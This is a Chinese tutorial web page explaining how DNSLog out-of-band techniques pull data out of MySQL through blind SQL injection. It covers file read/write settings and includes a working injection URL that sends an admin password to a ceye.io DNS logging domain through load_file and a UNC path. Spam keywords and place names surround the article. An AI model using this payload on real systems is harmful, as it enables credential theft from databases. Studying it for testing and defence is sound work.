中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

DNSLog在MySQL注入中的方法是什么

發布時間:2021-12-04 11:33:56 來源:億速云 閱讀:241 作者:iii 欄目:安全技術

這篇文章主要介紹“DNSLog在MySQL注入中的方法是什么”,在日常操作中,相信很多人在DNSLog在MySQL注入中的方法是什么問題上存在疑惑,小編查閱了各式資料,整理出簡單好用的操作方法,希望對大家解答”DNSLog在MySQL注入中的方法是什么”的疑惑有所幫助!接下來,請跟著小編一起來學習吧!

關于DNSlog在Web攻擊的利用

簡單理解就是在某些無法直接利用漏洞獲得回顯的情況下,但是目標可以發起DNS請求,這個時候可以通過DNSlog這種方式把想獲得的數據外帶出來。

常用在哪些情況下

  1. SQL注入中的盲注

  2. 無回顯的命令執行

  3. 無回顯的SSRF

DNSlog攻擊的基本原理

DNSLog在MySQL注入中的方法是什么

作為攻擊者,提交注入語句,讓數據庫把需要查詢的值和域名拼接起來,然后發生DNS查詢,我們只要能獲得DNS日志,就得到了想要的值。所以我們需要有一個自己的域名,然后再域名商處配置一條NS記錄,然后我們在NS服務器上獲取DNS日志即可。

DNSLOG在MySQL數據庫中SQL注入的實戰

本次演示一個最常見的注入場景,就是WHERE后面條件處的注入。實驗環境有一個test_user表,三個字段id、user、pass。如下

iduserpass
1adminadmin123

最后就不再自己搭建一個DNS服務器了,直接用ceye.io這個平臺,這個平臺就集成了Dnslog的功能。

需要條件

  1. MySQL開啟load_file()

  2. DNSLog平臺(hyuga、CEYE)

  3. Windows平臺

Mysql服務端文件讀寫

條件:服務端配置可讀寫目錄和正確的用戶權限。

安全保護

mysql服務端的文件讀取有很多的條件限制,主要是mysql數據庫的配置,為了安全原因,當讀取位于服務器上的文本文件時,文件必須處于數據庫目錄可被所有人讀取。你可以通過執行show variables like '%secure%'來查看。

secure-file-priv參數是用來限制LOAD DATA,SELECT ... OUTFILE,DUMPFILELOAD_FILE()可以操作的文件夾。

secure-file-priv的值可以分為三種情況:

  1. secure-file-priv的值為null,表示顯示mysqld不允許導入|導出

  2. secure-file-priv的值為/tmp/,表示限制mysqld的導入|導出只能發生在/tmp/目錄下,此時如果讀寫發生在其他文件夾中,就會報錯

  3. secure-file-priv的值沒有具體值,表示不對mysqld的導入|導出做限制。

除此之外,讀取或寫入文件必須擁有可操作的用戶權限否則會報錯。

ERROR 1045 (28000): Access denied for user

讀取文件

SELECT LOAD_FILE('/var/lib/mysql-files/aaa') AS Result;
create database test;
create table test (id TEXT, content TEXT);
load data infile "/var/lib/mysql-files/aaa" into table test.test FIELDS TERMINATED BY '\n\r';

寫入文件

select group_concat(id) from test INTO DUMPFILE "/var/lib/mysql-files/aaaaa";

load_file

MySQL應該是在實戰中利用DNSLOG最多的。

在MySQL中,有一個load_file函數可以用來讀取本地的文件。

http://127.0.0.1/mysql.php?id=1 union select 1,2,load_file(concat('\\\\',(SELECT hex(pass) FROM test.test_user WHERE user='admin' LIMIT 1),'.mysql.nk40ci.ceye.io\\abc'))

可以看到test_user中的pass字段的值的Hex碼就被查詢出來了,為什么這個地方Hex編碼的目的就是減少干擾,因為很多時候數據庫字段的值可能是有特殊符號的,這些特殊符號拼接在域名里是無法做DNS查詢的,因為域名有一定的規范,有些特殊符號是不能帶入的。

注意:load_file函數再Linux下是無法用來做DNSLOG攻擊的,因為這里就涉及到Windows的UNC路徑。

UNC路徑

百度的UNC路徑的解釋

UNC是一種命名慣例, 主要用于在Microsoft Windows上指定和映射網絡驅動器. UNC命名慣例最多被應用于在局域網中訪問文件服務器或者打印機。我們日常常用的網絡共享文件就是這個方式。

其實我們平常在Windows中用共享文件的時候就會用到這種網絡地址的形式

\\sss.xxx\test\

這也就解釋了為什么CONCAT()函數拼接了4個\了,因為轉義的原因,4個\就變成了2個\,目的就是利用UNC路徑。

因為Linux沒有UNC路徑這個東西,所以當MySQL處理Linux系統中的時候,是不能用這種方式外帶數據的。

到此,關于“DNSLog在MySQL注入中的方法是什么”的學習就結束了,希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學習,快去試試吧!若想繼續學習更多相關知識,請繼續關注億速云網站,小編會繼續努力為大家帶來更多實用的文章!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

高邮市| 金山区| 隆化县| 莱阳市| 长宁区| 濉溪县| 灵川县| 习水县| 文山县| 三穗县| 绵竹市| 广饶县| 林西县| 论坛| 柳州市| 凌源市| 积石山| 安图县| 当涂县| 贞丰县| 板桥市| 武汉市| 榕江县| 枞阳县| 卓尼县| 顺昌县| 竹溪县| 温宿县| 抚远县| 松原市| 安徽省| 卢氏县| 江西省| 崇义县| 绍兴市| 闵行区| 宜都市| 山东省| 神池县| 富平县| 大邑县|